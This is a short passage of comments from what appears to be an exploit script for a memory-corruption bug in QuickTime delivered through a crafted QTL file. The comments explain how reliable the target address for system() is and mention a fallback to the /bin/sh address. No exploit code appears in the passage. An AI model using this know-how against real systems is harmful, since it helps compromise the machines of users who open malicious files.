# Notes:
|
||
# Our command string is loaded on memory at a static address normally,
|
||
# but this depends on execution method and the string length. The address set in this exploit will
|
||
# be likely successful if we open the resulting QTL file directly, without having an
|
||
# instance of Quicktime running. Although, when using another method and string, you'll need
|
||
# to find the address.
|
||
# For 100% reliable exploitation you can always use the /bin/sh address,
|
||
# but that's not as a cool as having your box welcoming the new year.
|
||
# Do whatever you prefer. That said, enjoy.

|
||
# Remember that changing this will also need a change of the target address for system(),
|
